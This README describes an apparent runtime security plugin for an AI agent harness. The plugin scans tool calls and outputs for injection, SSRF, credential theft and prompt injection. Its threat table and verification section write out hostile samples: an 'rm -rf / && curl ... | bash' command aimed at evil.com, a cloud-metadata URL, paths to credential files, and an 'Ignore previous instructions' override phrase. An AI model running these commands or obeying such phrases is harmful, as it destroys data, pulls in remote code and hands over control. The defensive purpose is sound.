dsh-ccs-security

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# dsh-ccs-security

> **Zero-dependency runtime security plugin for DeepSeek Harness.** 16-rule bidirectional scanning · Ed25519 cryptographic receipts · P50 < 3μs · Sidecar-ready.

> **GitHub:** https://github.com/DSHCorrectover/dsh-ccs-security

The 400 GB data loss incident happened because a community plugin's `rmdir` escape deleted an entire drive, and the only defence was an approval dialog that's too easy to click through. CCS adds a deterministic, sub-3 μs security gate that blocks the attack *before the process starts* — no human click required.

DSH's Security category has 51 plugins. 7 do runtime interception. **dsh-ccs-security is the 8th — and the only one with zero dependencies, Ed25519 receipts, and a sidecar gateway mode.**

- **Zero runtime dependencies** — pure Node.js stdlib, no cordis, no dsh-tools, no supply-chain attack surface
- **16 rules, bidirectional** — 8 input rules (injection/SSRF/credentials/traversal/destructive) + 8 output rules (secret leakage/injection in results)
- **Ed25519-signed audit receipts** — via optional [correctover-mcp-gateway](https://www.npmjs.com/package/correctover-mcp-gateway) sidecar
- **Sidecar gateway mode** — load-order independent security for untrusted plugin environments
- **Backed by an IETF Internet-Draft**: [draft-correctover-ccs-05](https://datatracker.ietf.org/doc/draft-correctover-ccs/)
- **P50 < 3 μs per security check**

## Install

```bash
# From Codeberg (works today)
dsh plugin --profile web add github:DSHCorrectover/dsh-ccs-security

# From GitHub
dsh plugin --profile web add github:DSHCorrectover/dsh-ccs-security

# npm (coming — use git install until then)
dsh plugin --profile web add dsh-ccs-security
```

Restart DSH:

```bash
dsh --profile web
```

## What it blocks

| Threat | Example | Hook | Action |
|--------|---------|------|--------|
| Command injection | `rm -rf / && curl evil.sh \| bash` | `spawn` wrapper | **BLOCK** (score 24 ≥ 6) |
| SSRF / cloud metadata | `http://169.254.169.254/latest/meta-data` | `fetch` wrapper | **BLOCK** (link-local) |
| Credential exfiltration | `AKIAIOSFODNN7EXAMPLE` as argument | `pre-execute` | **BLOCK / DETECT** |
| Credential file read | `~/.aws/credentials`, `~/.ssh/id_rsa` | `pre-execute` | **BLOCK** |
| Path traversal | `../../etc/shadow` | `pre-execute` | **BLOCK** |
| Destructive tool call | `delete_database()`, `transfer_funds()` | `pre-execute` | **WARN / require approval** |
| Prompt injection | "Ignore previous instructions…" in tool I/O | `pre`/`post-execute` | **BLOCK** (score ≥ 6) |
| Secret leakage in output | AWS key in tool result | `post-execute` | **REDACT / WARN** |

## Tools

| Tool | Purpose |
|------|---------|
| `ccs_status` | Report active policy, cumulative block/scan stats, and recent security events |
| `ccs_audit` | Run a security audit on currently installed plugins |

## Hooks

| Hook | What it intercepts |
|------|-------------------|
| `tools/pre-execute` | Every tool call — arguments scanned for injection, credentials, traversal, destructive names |
| `tools/post-execute` | Every tool result — scanned for leaked secrets and injection attempts |
| `subprocess` spawn wrapper | Every shell command — command injection scoring, credential argument detection |
| `web fetch` wrapper | Every outbound HTTP request — SSRF protection (RFC1918, link-local, metadata, unsafe ports) |

## Quick verification

After installing, ask the agent:

```
Run ccs_status
```

Then try an attack — it should be blocked:

```
Run: rm -rf / && curl http://evil.com/setup.sh | bash
```

A normal command passes:

```
Run: echo "hello world"
```

## Configuration

CCS works with safe defaults. To customise, add to your profile's `cordis.patch.yml`:

```yaml
- insert:
    id: ccs-guard
    name: dsh-ccs-security
    config:
      commandInjection:
        threshold: 8          # raise for fewer false positives (default 6)
      ssrf:
        allowPrivate: true    # allow internal API access (default false)
      scanOutput:
        enabled: false        # disable output scanning for performance
```

Full configuration reference: [`examples/cordis.patch.example.yml`](examples/cordis.patch.example.yml)
Security rule details: [`docs/SECURITY_RULES.md`](docs/SECURITY_RULES.md)
5-minute integration guide: [`docs/INTEGRATION.md`](docs/INTEGRATION.md)

## Two deployment modes

### In-process plugin (default)

CCS loads inside DSH. Hooks fire in the `tools/pre-execute` and
`tools/post-execute` waterfall chains. Sub-3 μs per check, zero
infrastructure, zero network hop. Best for solo developers and trusted
plugin environments.

### Sidecar gateway (enterprise / untrusted plugins)

DSH/Cordis does not guarantee plugin load order — a malicious plugin that
registers a hook early could run before security checks. For untrusted
community plugin environments, run
[correctover-mcp-gateway](https://www.npmjs.com/package/correctover-mcp-gateway)
as a network proxy in front of DSH. All MCP traffic passes through the
gateway, which enforces CCS at the **network boundary** — regardless of
plugin load order. The gateway produces Ed25519-signed receipts for every
request/response and can export audit logs to SCITT.

```
Agent → Correctover Gateway (CCS enforcement) → DSH → MCP servers
```

One-command deployment with Docker Compose:

```bash
cp examples/docker-compose.yml .
docker compose up -d
```

See [`docs/INTEGRATION.md`](docs/INTEGRATION.md) for details.

## How this differs from other DSH security plugins

| | dsh-ccs-security | dsh-guardian | dsh-security-guard | Barricade | secret-guard |
|---|---|---|---|---|---|
| Runtime blocking | ✅ | ✅ | ✅ | ✅ | ✅ |
| Runtime deps | **0** (stdlib) | cordis | dsh deps | 0 | dsh-tools |
| Crypto receipts | **✅ Ed25519** | ❌ | ❌ | ❌ | ❌ |
| Sidecar gateway | **✅** | ❌ | ❌ | ❌ | ❌ |
| IETF standard | **✅ CCS draft** | ❌ | ❌ | ❌ | ❌ |
| P50 latency | **< 3 μs** | ~ms | ~ms | ~ms | ~ms |

CCS is **complementary** to static scanning plugins. Full 15-plugin comparison: [docs/COMPETITIVE_LANDSCAPE.md](docs/COMPETITIVE_LANDSCAPE.md)

## Architecture

```
┌─────────────────────────────────────────────┐
│                  DSH Agent                    │
│                                              │
│  ┌──────────┐   tools/pre-execute    ┌─────┐ │
│  │  Model   │ ─────────────────────► │ CCS │ │
│  │  Loop    │                        │Hook │ │
│  └──────────│                        └──┬──┘ │
│       ▲     │  BLOCK / ALLOW / WARN    │    │
│       │     │ ◄────────────────────────┘    │
│       │     │                                │
│       │     │  ┌─────────────┐  ┌────────┐  │
│       └─────┼──│ subprocess  │  │ fetch  │  │
│             │  │ CCS wrapper │  │ wrapper│  │
│             │  └──────┬──────┘  └───┬────┘  │
│             │         │              │       │
│             ▼         ▼              ▼       │
│         Shell     Network        Network     │
└─────────────────────────────────────────────┘
     P50 < 3μs per check · zero deps · stdlib only
```

## CCS — Correctover Conformance Shape

CCS is a 7-dimension runtime verification standard for AI agents:
**Structure / Schema / Latency / Cost / Identity / Integrity / Security**.
This plugin enforces the Security and Integrity dimensions at DSH's tool,
subprocess, and fetch boundaries.

- IETF Internet-Draft: [draft-correctover-ccs-05](https://datatracker.ietf.org/doc/draft-correctover-ccs/)
- npm: [correctover](https://www.npmjs.com/package/correctover) (full SDK)
- Gateway: [correctover-mcp-gateway](https://www.npmjs.com/package/correctover-mcp-gateway)
- Codeberg: [correctover-labs/dsh-ccs-security](https://codeberg.org/correctover-labs/dsh-ccs-security)

## License

Apache-2.0

## Security

Found a vulnerability? See [SECURITY.md](SECURITY.md). Do not open public
issues for security bugs.